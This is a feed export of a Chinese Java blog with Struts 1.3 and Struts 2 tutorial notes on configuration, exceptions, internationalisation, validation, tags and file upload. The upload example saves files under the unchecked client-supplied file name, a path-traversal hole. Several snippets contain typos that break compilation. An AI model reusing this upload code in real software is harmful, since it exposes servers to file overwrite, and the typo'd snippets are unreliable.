<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">url-pattern</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">/*</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">url-pattern</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">filter-mapping</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">web-app</span><span style="color: #0000ff">&gt;</span></div>
三个有特殊意义的初始化参数：<br />
(1) config:参数值是以（，）号隔开的字符串，每个字符串都是一个xml配置文件的位置。Struts2框架将自动加载这些配置文件。<br />
(2) actionPackages:参数值是以（，）号隔开的字符串，每个字符串都是一个包空间，Struts2框架将扫描这些包空间下的Action类。<br />
(3) configProviders:如果用户需要实现自已的ConfigurationProvider类，用户可以提供一个或多个实现了ConfigurationProvider接口的类，然后将这些类的类名设置成该属性的值，多个类名这间以（,）隔开。<br />
(4) 还可以在些配置常量，其中&lt;param-name&gt;子元素指定常量name,而&lt;param-value&gt;指定常量value.<br />
<br />
4 在web.xml文件中配置加载Struts 2标签库<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #008000">&lt;!--</span><span style="color: #008000">手动配置Struts&nbsp;2的标签库</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">taglib</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">配置Struts&nbsp;2标签库的URI&nbsp;</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">taglib-uri</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">/s</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">taglib-uri</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">指定Struts&nbsp;2标签库定义文件的位置</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">taglib-location</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">/WEB-INF/struts-tags.tld</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">taglib-location</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">taglib</span><span style="color: #0000ff">&gt;</span></div>
注意：<span style="color: red">Servlet2.4以上的规范，无需在web.xml文件中配置标签库定义，因为Servlet2.4规范会自动加载该标签库文件。<br />
</span>5&nbsp;文件结构<br />
Struts2qs<br />
|-WEB-INF<br />
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |-classes(struts.xml)<br />
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;|-lib(commons-logging.jar􀋈freemarker.jar􀋈ognl.jar􀋈struts2-core.jar􀋈xwork.jar)<br />
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |-web.xml<br />
|-login.jsp <br />
<br />
6 将struts.xml配置文件分解成多个配置文件，模块化管理
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #0000ff">&lt;?</span><span style="color: #ff00ff">xml&nbsp;version="1.0"&nbsp;encoding="UTF-8"&nbsp;</span><span style="color: #0000ff">?&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">&nbsp;指定Struts&nbsp;2&nbsp;配置文件的DTD信息</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;!</span><span style="color: #ff00ff">DOCTYPE&nbsp;struts&nbsp;PUBLIC<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />"-//Apache&nbsp;Software&nbsp;Foundation//DTD&nbsp;Struts&nbsp;Configuration&nbsp;2.0//EN"<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />"http://struts.apache.org/dtds/struts-2.0.dtd"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">下面是Struts&nbsp;2配置文件的根元素</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">struts</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">通过include元素导入其他配置文件</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">include&nbsp;</span><span style="color: #ff0000">file</span><span style="color: #0000ff">="struts-part1.xml"</span><span style="color: #ff0000">&nbsp;</span><span style="color: #0000ff">/&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">struts</span><span style="color: #0000ff">&gt;</span></div>
<br />
7 包空间的继承
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #008000">&lt;!--</span><span style="color: #008000">指定Struts&nbsp;2&nbsp;配置文件的根元素&nbsp;</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">struts</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">&nbsp;配置名为lee的包空间，继承struts-default包空间</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">package&nbsp;</span><span style="color: #ff0000">name</span><span style="color: #0000ff">="lee"</span><span style="color: #ff0000">&nbsp;extends</span><span style="color: #0000ff">="struts-default"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">package</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">struts</span><span style="color: #0000ff">&gt;</span></div>
8 可插拔的方式来安装插件<br />
配置struts2与spring框架，只要将struts2-spring-plugin2.06.jar文件放在WEB-INF/lib路径下，Struts2框架将自动加载该文件<br />
<img src ="http://www.blogjava.net/ywj-316/aggbug/314565.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2010-03-05 10:24 <a href="http://www.blogjava.net/ywj-316/archive/2010/03/05/314565.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts2 error:No result defined for action and result input </title><link>http://www.blogjava.net/ywj-316/archive/2010/01/14/309516.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 14 Jan 2010 11:50:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2010/01/14/309516.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/309516.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2010/01/14/309516.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/309516.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/309516.html</trackback:ping><description><![CDATA[这是struts2的一个拦截器错误<br />
首先<br />
查看struts的XML中对应action里配置是否有<span style="color: #0000ff"><span style="color: #0000ff">&lt;</span><span style="color: #800000">result</span> <span style="color: #ff0000">name</span><span style="color: #0000ff">="input"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">/AddProducts.jsp</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">result</span><span style="color: #0000ff">&gt;<br />
如果有说明在拦截图器链中某个拦截器出错，大多情况下是<br />
<span style="color: red"><strong><em>数据类型转换错误！</em></strong></span></span></span>
<img src ="http://www.blogjava.net/ywj-316/aggbug/309516.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2010-01-14 19:50 <a href="http://www.blogjava.net/ywj-316/archive/2010/01/14/309516.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts1.3-自定义exception</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/30/304201.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 Nov 2009 00:17:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/30/304201.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/304201.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/30/304201.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/304201.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/304201.html</trackback:ping><description><![CDATA[<p>1 自定义异常类 SystemException.java</p>
<p>public class SystemException extends RuntimeException{<br />
&nbsp;//自定义key<br />
&nbsp;private String key;<br />
&nbsp;//自定义参数<br />
&nbsp;private Object[] values;</p>
<p>&nbsp;//实现父类的构造方法<br />
&nbsp;public SystemException() {<br />
&nbsp;&nbsp;super();<br />
&nbsp;}</p>
<p>&nbsp;public SystemException(String message, Throwable cause) {<br />
&nbsp;&nbsp;super(message, cause);<br />
&nbsp;}</p>
<p><br />
&nbsp;public SystemException(String message) {<br />
&nbsp;&nbsp;super(message);<br />
&nbsp;}</p>
<p><br />
&nbsp;public SystemException(Throwable cause) {<br />
&nbsp;&nbsp;super(cause);<br />
&nbsp;}</p>
<p>&nbsp;//自定义构造方法<br />
&nbsp;public SystemException(String message, String key) {<br />
&nbsp;&nbsp;super(message);<br />
&nbsp;&nbsp;this.key=key;<br />
&nbsp;}</p>
<p>&nbsp;//自定义构造方法,带一个参数<br />
&nbsp;public SystemException(String message, String key,Object value) {<br />
&nbsp;&nbsp;super(message);<br />
&nbsp;&nbsp;this.key=key;<br />
&nbsp;&nbsp;this.values=new Object[]{value};<br />
&nbsp;}<br />
&nbsp;<br />
&nbsp;//自定义构造方法,带多个参数<br />
&nbsp;public SystemException(String message, String key,Object[] values) {<br />
&nbsp;&nbsp;super(message);<br />
&nbsp;&nbsp;this.key=key;<br />
&nbsp;&nbsp;this.values=values;<br />
&nbsp;}<br />
&nbsp;<br />
&nbsp;//相应的get方法<br />
&nbsp;public String getKey() {<br />
&nbsp;&nbsp;return key;<br />
&nbsp;}</p>
<p>&nbsp;public Object[] getValues() {<br />
&nbsp;&nbsp;return values;<br />
&nbsp;}<br />
}<br />
2 自定义异常处理器 SystemExceptionHandler.java</p>
<p>//作用：截获SystemException，并根据SystemException中的信息动态创建ActionMessage等这些错误信息，<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将其存在request中<br />
public class SystemExceptionHandler extends ExceptionHandler{</p>
<p>&nbsp;/**<br />
&nbsp;&nbsp;* 处理SystemException异常<br />
&nbsp;&nbsp;*/<br />
&nbsp;@Override<br />
&nbsp;public ActionForward execute(Exception ex,//抛出的异常<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ExceptionConfig config,//struts-config.xml中的配置信息<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ActionMapping mapping,<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ActionForm form,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HttpServletRequest request,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HttpServletResponse response) throws ServletException {<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;ActionForward forward=null;<br />
&nbsp;&nbsp;//创建ActionForward<br />
&nbsp;&nbsp;if(config.getPath()!=null){<br />
&nbsp;&nbsp;&nbsp;//有path属性，则根据path创建<br />
&nbsp;&nbsp;&nbsp;forward=new ActionForward(config.getPath());<br />
&nbsp;&nbsp;}else {<br />
&nbsp;&nbsp;&nbsp;//没有path属性，则根据input属性创建<br />
&nbsp;&nbsp;&nbsp;forward=mapping.getInputForward();<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;if(ex instanceof SystemException){<br />
&nbsp;&nbsp;&nbsp;SystemException se=(SystemException)ex;<br />
&nbsp;&nbsp;&nbsp;//key可有可无，所以取出key进行判断<br />
&nbsp;&nbsp;&nbsp;String key=se.getKey();<br />
&nbsp;&nbsp;&nbsp;ActionMessage error=null;<br />
&nbsp;&nbsp;&nbsp;//如果自定义的key为空，用struts的<br />
&nbsp;&nbsp;&nbsp;if(key==null){<br />
&nbsp;&nbsp;&nbsp;&nbsp;//拿出error.default和message,创建ActionMessage对象<br />
&nbsp;&nbsp;&nbsp;&nbsp;error=new ActionMessage(config.getKey(),se.getMessage());<br />
&nbsp;&nbsp;&nbsp;}else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;//如果自定义的key有值<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(se.getValues()!=null){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;error=new ActionMessage(key,se.getValues());<br />
&nbsp;&nbsp;&nbsp;&nbsp;}else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//如果自定义的key有值，则根据key创建ActionMessage对象<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;error=new ActionMessage(key);<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;//将这个ActionMessage放到request中。key为自定义的，error为ActionMessage对象<br />
&nbsp;&nbsp;&nbsp;//forward是要转到什么地方，根据path属性创建。"request"为scope的一个，也可以<br />
&nbsp;&nbsp;&nbsp;//用config.getScope()<br />
&nbsp;&nbsp;&nbsp;this.storeException(request, key, error, forward, config.getScope());<br />
&nbsp;&nbsp;&nbsp;return forward;<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;return super.execute(ex, config, mapping, form, request, response);<br />
&nbsp;}<br />
}</p>
<p><br />
3 编写配置文件 struts-config.xml</p>
<p>&lt;global-exceptions&gt;<br />
&nbsp; &nbsp;&lt;exception key="error.default" <br />
&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type="java.lang.Exception"<br />
&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; scope="request"<br />
&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; path="/common/exception.jsp"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;!-- 自定义的异常处理类 --&gt;<br />
&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; handler="org.oa.common.SystemExceptionHandler"/&gt;<br />
&lt;/global-exceptions&gt;</p>
<p>4 编写资源文件 ApplicationResources.properties</p>
<p>error.default={0}<br />
error.org.del=Can't Del Orgnation,id is {0}!</p>
<p>5 业务代码</p>
<p>throw new org.oa.common.SystemException("存在子机构，不允许删除！","error.org.del",org.getOname());</p>
 <img src ="http://www.blogjava.net/ywj-316/aggbug/304201.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-30 08:17 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/30/304201.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts1.3-其他</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/30/304199.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 Nov 2009 00:16:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/30/304199.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/304199.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/30/304199.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/304199.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/304199.html</trackback:ping><description><![CDATA[框架<br />
面向请求驱动：<br />
struts1.x,struts2.x,WebWork<br />
面向事件驱动的(JSF)<br />
--------------------------------------<br />
struts空字段测试<br />
&lt;input type="text" name="username"\&gt;<br />
ActionForm中有：<br />
private String username;<br />
private String password;<br />
页面取得值：<br />
&lt;%=form.getUserName()%&gt;//结果：<br />
&lt;%=form.getPassWord()%&gt;//结果：null<br />
${requestScope.userActionForm.username}//结果：<br />
${requestScope.userActionForm.password}//结果：<br />
----------------------------------------------------<br />
java国际化<br />
1 了解缺省Locale是由操作系统决定的，Locale是由语言和国家代码组成<br />
2 国际化资源文件是由baseName+locale组成，一般在src目录下就可以了，如：MessageBundle_en_US.properties<br />
baseName是任意合法的文件名<br />
3 native2ascii命令的位置和用法<br />
&nbsp; * 位置：java_home/bin<br />
&nbsp; * 使用native2ascii.exe o.properties MessagesBundle_zh_CN.properties<br />
&nbsp; * DOS<br />
&nbsp;&nbsp;&nbsp; D:\&gt;native2ascii -encoding gb2312 aaa.txt bbb.txt<br />
------------------------------------------------------------------<br />
struts国际化<br />
1 在struts-config.xml文件中加入：&lt;message-resources parameter="MessageResources"/&gt;<br />
&nbsp; 注意：文件默认放在根src下，如入在其他目录下.<br />
&nbsp; 如:res目录下用"."连接&lt;message-resources parameter="res.MessageResources"/&gt;<br />
2 提供不同版本的国际化文件，中文需要采用native2ascii转换成unicode<br />
MessageResources_en_US.properties文件<br />
user.login.success={0},Login Success<br />
user.title=User Login<br />
user.name=User Name<br />
user.password=Password<br />
user.button.login=Login<br />
MessageResources_zh_CN.properties文件<br />
user.login.success={0},\u767b\u5f55\u6210\u529f<br />
user.title=\u7528\u6237\u767b\u5f55<br />
user.name=\u7528\u6237\<br />
user.password=\u5bc6\u7801<br />
user.button.login=\u767b\u5f55<br />
3 在jsp中采用&lt;bean:message&gt;标签读取国际化文本<br />
&lt;titel&gt;&lt;bean:message key="user.title"/&gt;&lt;/title&gt;<br />
&lt;bean:message key="user.name"/&gt;:&lt;input type="text" name="username"/&gt;<br />
&lt;bean:message key="user.password"/&gt;:&lt;input type="password" name="password"/&gt;<br />
&lt;input type="submit" value="&lt;bean:message key="user.name"/&gt;"/&gt;<br />
4 动态设置locale<br />
Locale currentLocale=Locale.getDefalut();得到Locale<br />
currentLocale=new Loale("zh","CN");//建立Locale<br />
currentLocale=new Loale("en","US");//建立Locale<br />
request.getSession().setAttribute(Globals.LOCALE_KEY,currentLocale);<br />
this.setLocale(request,currentLocale);//效果同上<br />
5 动态设置message<br />
&nbsp; * 创建messages集合<br />
&nbsp; ActionMessages messages=new ActionMessages();<br />
&nbsp; * 创建国际化消息文本<br />
&nbsp;public ActionMessage(String key,Object value)<br />
&nbsp;ActionMessage message=new ActionMessage("user.login.success",username);//只不清一个参数<br />
&nbsp;//ActionMessage message=new ActionMessage("user.login.success",new Object[]{username});//多个参数<br />
&nbsp;messages.add("loginSuccess1",message);<br />
&nbsp;* 传递国际化消息文本<br />
&nbsp;this.saveMessages(request,messages);<br />
&nbsp;错误信息传递使用：this.saveErrors(request,messages);<br />
&nbsp;* 页面输出<br />
&nbsp;通过&lt;html:message&gt;标签显示消息(可以显示普通消息和错误消息)<br />
&nbsp;通过&lt;html:errors&gt;标签显示消息(只能显示错误消息)<br />
&nbsp;&lt;html:messages id="msg" message="true"&gt;//html:messages标记与ActionMessages messages集合对应<br />
&nbsp;&nbsp;&lt;bean:write name="msg"/&gt;<br />
&nbsp;&lt;html:messages&gt;<br />
&nbsp;&lt;html:messages id="msg" message="true" property="loginSuccess1"&gt;<br />
&nbsp;&nbsp;&lt;bean:write name="msg"/&gt;<br />
&nbsp;&lt;html:messages&gt;<br />
-------------------------------------------------------------------<br />
JSTL国际化<br />
&lt;fmt:setLocale vlaue="${header['accept-language']}"/&gt;设置locale<br />
&lt;fmt:setBundle basename="res.MessageResources"/&gt;//设置资源文件<br />
&lt;fmt:message key="user.username"/&gt;<br />
---------------------------------------------------------------------<br />
struts的路径与模式匹配<br />
 <img src ="http://www.blogjava.net/ywj-316/aggbug/304199.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-30 08:16 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/30/304199.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts1.3-文件上传</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/30/304200.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 Nov 2009 00:16:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/30/304200.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/304200.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/30/304200.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/304200.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/304200.html</trackback:ping><description><![CDATA[1 建立页面<br />
&lt;form action="" name="form1"&nbsp; enctype="multipart/form-data" method="post"&gt;<br />
2 建ActionForm类<br />
private String title;<br />
private FormFile file;//必须用apache的FormFile类(org.apache.struts.upload.FormFile)<br />
3 建立Action类<br />
UplodaActionForm uaf=(UplodaActionForm)form;<br />
Systyem.out.println("title:"+uaf.getTitle());<br />
FormFile file=uaf.getFile();<br />
if(file!=null)<br />
{<br />
&nbsp;System.out.println("fileName:"+file.getFileName());<br />
&nbsp;FileOutputStream fos=new FileOutputStream("c:\\"+file.getFileName());<br />
&nbsp;fos.write(file.getFileData());<br />
&nbsp;fos.flush();<br />
&nbsp;fos.close();<br />
}<br />
return mapping.findForward("sessucc");<br />
4 配置ActionForm和Action<br />
&lt;controller MaxFileSize="10M"&gt;&lt;/controller&gt;该属性可以配置上传文件的大小等相关信息
 <img src ="http://www.blogjava.net/ywj-316/aggbug/304200.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-30 08:16 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/30/304200.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts1.3-validate</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/30/304198.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 Nov 2009 00:15:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/30/304198.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/304198.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/30/304198.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/304198.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/304198.html</trackback:ping><description><![CDATA[1 ActionForm中的validate方法验证<br />
1)重写ActionForm中的validate方法<br />
public ActionErrors validate(ActionMapping mapping,HttpServletRequest request){<br />
&nbsp;ActionErrors errors=new ActionErrors ();<br />
&nbsp;&nbsp;if(username==null || username.length()&lt;0){<br />
&nbsp;&nbsp;errors.add("unameisnull",new ActionMessgae("error.validate.unull"));<br />
&nbsp;}<br />
&nbsp;return errors;<br />
}<br />
2)资源文件ApplicationResources.properties<br />
error.validate.unull=usernaem is null<br />
3)在config.xml的&lt;action-mappings&gt;中&lt;action&gt;加入validate="true"属性<br />
4)页面标签<br />
&lt;html:errors/&gt;<br />
----------------------------------------------------<br />
validate验证框架<br />
1 创建form继承ValidatorForm或用DynaValidatorForm<br />
2 在WEB-INF下创建validator-rules.xml和validation.xml<br />
3 在src下创建资源文件ApplicationResources.properties<br />
4 要struts-config.xml中配<br />
&lt;plug-in className="org.apache.struts.validator.ValidatorPlugIn"&gt;<br />
&nbsp; &nbsp;&nbsp;&lt;set-property property="pathnames"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/&gt;<br />
&lt;/plug-in&gt;<br />
5 编写validation.xml文件<br />
&lt;formset&gt;<br />
&nbsp;&lt;form name="userForm"&gt;<br />
&nbsp;&nbsp; &lt;field property="username"&nbsp; depends="required"&gt;<br />
&nbsp;&nbsp; &lt;arg key="lable.username"/&gt;<br />
&nbsp;&nbsp; &lt;/field&gt;<br />
&nbsp;&lt;/form&gt;<br />
&lt;/formset&gt;<br />
6 页面使用&lt;html:errors/&gt;标签
 <img src ="http://www.blogjava.net/ywj-316/aggbug/304198.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-30 08:15 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/30/304198.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts1.3-标签</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/30/304197.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 Nov 2009 00:14:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/30/304197.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/304197.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/30/304197.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/304197.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/304197.html</trackback:ping><description><![CDATA[<p>struts标签的使用和配置<br />
配置：<br />
1 在struts-config.xml文件中加入(可以到示例中的struts-config.xml文件中复制)<br />
&nbsp; &lt;message-resources parameter="MessageResources" /&gt;<br />
2 在示例的src下拷贝MessageResources.properties文件到项目src下<br />
3 在页面引入就可使用<br />
&nbsp; &lt;%@ taglib prefix="bean" uri="http://struts.apache.org/tags-bean"%&gt;<br />
说明：第1，2步为struts的国际化资源束文件引入，第3为标签引入<br />
-----------------------------------------------------------------------------<br />
Bean标记<br />
bean:define<br />
从已有的变量或者变量的属性来定义一个新的变量。<br />
&lt;bean:define id="新定义的变量名" scope="原变量的scope" name="原变量名" toScope="新定义变量的scope"&gt;&lt;/bean:define&gt;<br />
